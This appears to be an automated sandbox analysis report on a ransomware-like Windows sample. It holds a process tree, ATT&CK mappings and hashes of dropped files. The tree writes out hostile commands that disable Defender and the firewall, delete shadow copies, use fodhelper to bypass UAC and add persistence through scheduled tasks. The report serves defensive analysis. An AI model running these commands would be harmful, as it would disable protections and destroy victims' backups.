chrome.exe 112 PID 556 wrote to memory of 1456 556 chrome.exe 111 PID 556 wrote to memory of 216 556 chrome.exe 110 PID 556 wrote to memory of 1476 556 chrome.exe 112 PID 556 wrote to memory of 1456 556 chrome.exe 111 PID 4564 wrote to memory of 4872 4564 themarketnyc.com_chrome.exe 113 PID 556 wrote to memory of 948 556 chrome.exe 115 PID 556 wrote to memory of 948 556 chrome.exe 115 PID 4564 wrote to memory of 3436 4564 themarketnyc.com_chrome.exe 116 PID 4564 wrote to memory of 1452 4564 themarketnyc.com_chrome.exe 118 PID 4564 wrote to memory of 1248 4564 themarketnyc.com_chrome.exe 120 PID 2608 wrote to memory of 3728 2608 fodhelper.exe 122 PID 556 wrote to memory of 3948 556 chrome.exe 123 PID 556 wrote to memory of 3948 556 chrome.exe 123 PID 4564 wrote to memory of 5904 4564 themarketnyc.com_chrome.exe 128 PID 4564 wrote to memory of 5324 4564 themarketnyc.com_chrome.exe 129 PID 4564 wrote to memory of 2500 4564 themarketnyc.com_chrome.exe 132 PID 4564 wrote to memory of 5624 4564 themarketnyc.com_chrome.exe 136 PID 4564 wrote to memory of 5464 4564 themarketnyc.com_chrome.exe 138 PID 4564 wrote to memory of 5592 4564 themarketnyc.com_chrome.exe 139 PID 4564 wrote to memory of 5660 4564 themarketnyc.com_chrome.exe 140 PID 4564 wrote to memory of 5788 4564 themarketnyc.com_chrome.exe 141 PID 4564 wrote to memory of 5704 4564 themarketnyc.com_chrome.exe 142 PID 4564 wrote to memory of 5960 4564 themarketnyc.com_chrome.exe 143 PID 4564 wrote to memory of 6092 4564 themarketnyc.com_chrome.exe 144 PID 4564 wrote to memory of 6004 4564 themarketnyc.com_chrome.exe 152 PID 4564 wrote to memory of 1436 4564 themarketnyc.com_chrome.exe 153 PID 5704 wrote to memory of 6116 5704 cmd.exe 183 PID 5788 wrote to memory of 6136 5788 cmd.exe 155 PID 5464 wrote to memory of 6124 5464 cmd.exe 156 PID 5660 wrote to memory of 6140 5660 cmd.exe 157 PID 5592 wrote to memory of 4400 5592 cmd.exe 158 PID 5960 wrote to memory of 364 5960 cmd.exe 159 PID 6136 wrote to memory of 4308 6136 net.exe 160 PID 5624 wrote to memory of 2388 5624 cmd.exe 161 PID 5624 wrote to memory of 3096 5624 cmd.exe 162 PID 4564 wrote to memory of 892 4564 themarketnyc.com_chrome.exe 163 PID 4564 wrote to memory of 5036 4564 themarketnyc.com_chrome.exe 164 PID 4564 wrote to memory of 420 4564 themarketnyc.com_chrome.exe 166 PID 4564 wrote to memory of 1192 4564 themarketnyc.com_chrome.exe 169 PID 4564 wrote to memory of 3260 4564 themarketnyc.com_chrome.exe 170 PID 4564 wrote to memory of 3636 4564 themarketnyc.com_chrome.exe 171 PID 420 wrote to memory of 204 420 net.exe 175 PID 556 wrote to memory of 3440 556 chrome.exe 178 PID 556 wrote to memory of 880 556 chrome.exe 189 PID 556 wrote to memory of 4932 556 chrome.exe 190 PID 556 wrote to memory of 3280 556 chrome.exe 191 PID 556 wrote to memory of 5904 556 chrome.exe 202 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\themarketnyc.com_chrome.exe"C:\Users\Admin\AppData\Local\Temp\themarketnyc.com_chrome.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4564 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://themarketnyc.com2⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:556 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffbf502c728,0x7ffbf502c734,0x7ffbf502c7403⤵PID:732
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1664,i,4285890273398593434,4520029236087683965,262144 --field-trial-handle=2528,i,7633026510394338747,9414772163989461334,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2524 /prefetch:23⤵PID:2176
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2096,i,11661145386971025867,1596031663582460796,524288 --field-trial-handle=2528,i,7633026510394338747,9414772163989461334,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2684 /prefetch:33⤵
- System Time Discovery
PID:220
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2212,i,7403572453362482928,1475413354502164602,524288 --field-trial-handle=2528,i,7633026510394338747,9414772163989461334,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2960 /prefetch:83⤵PID:216
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2944,i,16466297570474536015,8949321140949596972,2097152 --field-trial-handle=2528,i,7633026510394338747,9414772163989461334,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3092 /prefetch:13⤵PID:1456
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2972,i,4540814540260639493,4561199843722449535,2097152 --field-trial-handle=2528,i,7633026510394338747,9414772163989461334,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3108 /prefetch:13⤵PID:1476
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4292,i,4709041443797750663,2116101776282915736,2097152 --field-trial-handle=2528,i,7633026510394338747,9414772163989461334,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4296 /prefetch:23⤵PID:948
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4720,i,450185956698749999,6533392432078485687,2097152 --field-trial-handle=2528,i,7633026510394338747,9414772163989461334,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4732 /prefetch:13⤵PID:3948
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5496,i,9019545336442768153,10487179747391122117,524288 --field-trial-handle=2528,i,7633026510394338747,9414772163989461334,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5512 /prefetch:83⤵PID:3440
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5516,i,1590912916120997961,14540256351966693646,524288 --field-trial-handle=2528,i,7633026510394338747,9414772163989461334,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5600 /prefetch:83⤵PID:880
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4272,i,15426709788507155237,16559102854415320658,524288 --field-trial-handle=2528,i,7633026510394338747,9414772163989461334,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5652 /prefetch:83⤵PID:4932
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3924,i,5568796095432866197,2931360791631600231,524288 --field-trial-handle=2528,i,7633026510394338747,9414772163989461334,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5656 /prefetch:83⤵PID:3280
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5008,i,17350206116024437323,6623467309781440893,262144 --field-trial-handle=2528,i,7633026510394338747,9414772163989461334,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4328 /prefetch:83⤵PID:5904
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3528
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:3816
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:5080
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:3760
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:2320
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:2640
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:2992
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:2872
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:3504
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:2608 -
C:\Users\Admin\AppData\Local\Temp\themarketnyc.com_chrome.exe"C:\Users\Admin\AppData\Local\Temp\themarketnyc.com_chrome.exe"3⤵PID:3728
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:4872
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
PID:3436
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:1452
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1248
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:5904
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\themarketnyc.com_chrome.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:5324
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\themarketnyc.com_chrome.exe" /sc minute /mo 30 /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2500
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5624 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:2388
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵PID:3096
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5464 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:6124
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5592 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
PID:4400
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5660 -
C:\Windows\system32\whoami.exewhoami3⤵PID:6140
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5788 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:6136 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:4308
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5704 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:6116
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5960 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
PID:364
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\themarketnyc.com_chrome.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:6092
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:6004
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:1436
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:892
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵PID:5036
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:420 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:204
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:1192
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:3260
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:3636
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:3020
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2144
-
C:\Users\Admin\AppData\Local\Temp\themarketnyc.com_chrome.exeC:\Users\Admin\AppData\Local\Temp\themarketnyc.com_chrome.exe1⤵PID:5288
-
C:\Users\Admin\AppData\Local\Temp\themarketnyc.com_chrome.exeC:\Users\Admin\AppData\Local\Temp\themarketnyc.com_chrome.exe1⤵PID:5548
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:5688
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵PID:6116
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
4Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\SysUpdate\Scr\scr_20260807_141232.jpg
- Size 238KB
- SHA256 8674c05cea864df49b84b805dbd064114b143340c1190b263c327c2f100a2557
- MD5 740e28d7d4005925b611569e592422aa
- SHA1 92f8f515469e416b18a8b796b63309737da7543a
- SHA512 93c614f7d0909586a06e6ba9606108de02cb8650444f5fe50a0df9af99ce51f79213d7dde0d33660400c58ec7e1fe3a60dcd0e8be4d0af433ab40ecbb5ebd184
- SSDEEP 6144:Ydj3Gkw9JV+ZkiVb6mFHQTWGnBe73vI+h+j3Wr20AauvC:GNwnBiVZHQT3BeTIo+jGr2jnvC
- TLSH T1EA347D03DC15AB87956C46E8BE171F6D6F4A2B5CE99266EF00231EDF3E516220CCD06E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\invoice_1.pdf
- Size 66KB
- SHA256 1c4a75b36858f65811ae676ec91af875025921bb0ad759d59146ad6581bdc518
- MD5 94ad46164f36b00a38a99bec4624ad02
- SHA1 2f82336ffcfc7c337c78fa3b25441daee1f6f369
- SHA512 81ce4c487592409d8ad6e462ceba4f375220675ac0a816b472b5a680d058b1956124da4514a80678876ea79ee7fbc168e8ce1d4cf313c0316ec6d6f203bdff78
- SSDEEP 1536:nvBUA19Tir0iGv/IoCzD6DxXJG9w1QtsJL1vc140zzOCBVGPE3:vBUA1Fir0fvXKW95Gy1qs1Ue0zzdGPE3
- TLSH T115630B36CB23FCD4677F3D80E0103D561C883E6B97B5257CFA8519A628E5580DF2E5A8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 65KB
- SHA256 77b0c643abfc8950c91983f52b97df3b0ec3f51e18f57c3dc43c33a76625181c
- MD5 605558494a8b1360693adac7e4494423
- SHA1 51505ba86846984eee4d7d5cacf7a5d3de856d6c
- SHA512 2936d8832568cbeb26c05b344e705b4824966f6ca65086c55bc1e4602e28233d882798354111b08105b5b97866bf777f514a244c1427abc3b806d71e57051beb
- SSDEEP 1536:HvBUA19Tir0iGv/IoCzD6DxXJG9w1QtsJL1vc140zzOCBVGPEW:PBUA1Fir0fvXKW95Gy1qs1Ue0zzdGPEW
- TLSH T1D6630A36CB23FDD4277F3D80E0503D561C883E6B9775267CFA8119A628E5580DF2E5A8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
- SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
- Size 414B
- SHA256 9c07d41018922ec6f0239989bdb3a0fcf9e1264e856309e6fbd2d140e84ee4a8
- MD5 5259b04aa37cb328fd8da5d487b1d44b
- SHA1 e8b235a07cd8611b74d674acfe5a0b1cf2af212a
- SHA512 e9ede1bedbd0ee8fc712d327f1acae7c8d5d8a645b21efe89aeca5dace013c69040784af30328f224b894388959083ad42c90a48ce637e441576e3f0ad04c9d5
- TLSH T143E02BA9D920AD2B18FD075D2459074AE75423572B41856B3E3C9A098FB863A5586C2C
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\temp-index
- Size 264B
- SHA256 25f65ca62fb1dff059e1b58757054aed9a58b31283123ecdbbcba0e5c4140b26
- MD5 f935674f2d067b2e67db85917d08f9c2
- SHA1 2bc8e1189660986d2d012fd496e29c49f4f06a85
- SHA512 76c84d812aa5fe45ea451b3ba386bdd389a7dd1f118d95688ce26ec72572706ab03bb28477d8ca993a0ea31aac80c0c8667ac608da006b7bcf8dd0f88351aa73
- TLSH T12DD0A90482600014E7AA2BB2E0E33A6622B0FD588612AE46B3953DF3D82225447860C4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 6KB
- SHA256 00f02846b957a86bd2a1eb088bc76038736ac05032425cbd4e5e610235744db7
- MD5 a364e0a440818d3f2be71f5c87b82c4d
- SHA1 a948db8827e8a658495f25740e6b30797c02c493
- SHA512 f9590dafa2c53fac72fd6188db28c6fa7d34e87352843fbcb5c792305b4f39ff36bf0ccb6cc298985c0628507aef4de4276da20bb93a3b60a552be2b6690a31b
- SSDEEP 192:DsNsUs5sDsosLsqsC/aIaEdTSxs9sjsRs2sZsbsXzps9slshNshMs4Ysjs9:DkF+gxKfj/aIaEdTSxiqgZa4yzp22CNQ
- TLSH T13BD15BF7C6D48E6DCC5156F06A147E1BCE590A2843283CAAC9D4BF5B97E28B1D31074E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
- Size 13KB
- SHA256 aeb2a435d7fe59b4be41fc445d3b1e2fa120d28e9e145dda44de4a41aa7a6525
- MD5 7f13879bf0b439bea1dd61dea1e45115
- SHA1 bbf0a55592d3f9d6d582cff70ede525f57c8300c
- SHA512 266903c0c5ccffd48363da0c5658267fb5e2c263d88d9f9062044635769798aff8db3e01a0c8c5850deb2bb0ec68ab72585f9e677acb94de7beb759dab115ef1
- SSDEEP 192:wRiq6FIwPV0H2v72ympqPRpDtS95Hsb+WNnPku9Iu2zEbRXqEkwba+VyIsnAUgrK:wRiqgX4CQGXw7wMW2QP7a2e
- TLSH T1DE52D76EB9202537ADDBC31AF9227753E7F5107125941E84EAFC8B2C09E75CC221B52B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
- Size 12KB
- SHA256 bff0bb34281a18cce51250a0d6fc5fd0cc7a95b6b7106b2ecccd9b3787a7c100
- MD5 51f9e970a49ad7c32a7e49d2ffe83843
- SHA1 924b3e69b85c7ebda649db21f9ae0bd98ac1df15
- SHA512 0b4eee36b15039b26f8e152d2f594f895410faacccba97b3df1f7460704d1765aedf8bd03e2fbd34637f93d1cf478ef6742ba7325430b68627a4e946c20eb84c
- SSDEEP 192:wRiqIFIwPV0H2v72ympAPRp2tS95Hsb+WNnPku9Iu2zAXqEkwbaWVyIsnAUge:wRiqOX4CQUXN7wMW2o7aue
- TLSH T1E242C76EBD20253BADDBC21AF9227753E7F5106125D41E84EAFC8B2C05E75CC221B52B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
- Size 16KB
- SHA256 96680526396d5bb7bc2be329ccea09ff157074d6cba833bf6ceae5e8dd589816
- MD5 70ea5148a6f2007729e80f154ba2e623
- SHA1 d1de2910372638b5ec3adef2577e37fda30ce5ef
- SHA512 0fa07f5977992226463cab761b4da45afa187dd815f36063aa37228d74bc740b2cbc80810b18c0fb72f6a56a0dde0e1e983f67de62ef9bac8ea0a7b55d8d8f1f
- SSDEEP 384:Q+jM77KxkXqKf/pUZNCgVLH2HfgslAG7pLuLcMW3XODM3+ErU3oPHGqkkcLt9:QOM77KxkXqKf/pUZNCgVLH2HfgsSG7p2
- TLSH T19B720967684C9E370F94CACCD817BB4FACB5025B56ED886492FA5C2503D5ACF110A2FB
- MD5 SHA1 SHA512 SSDEEP TLSH
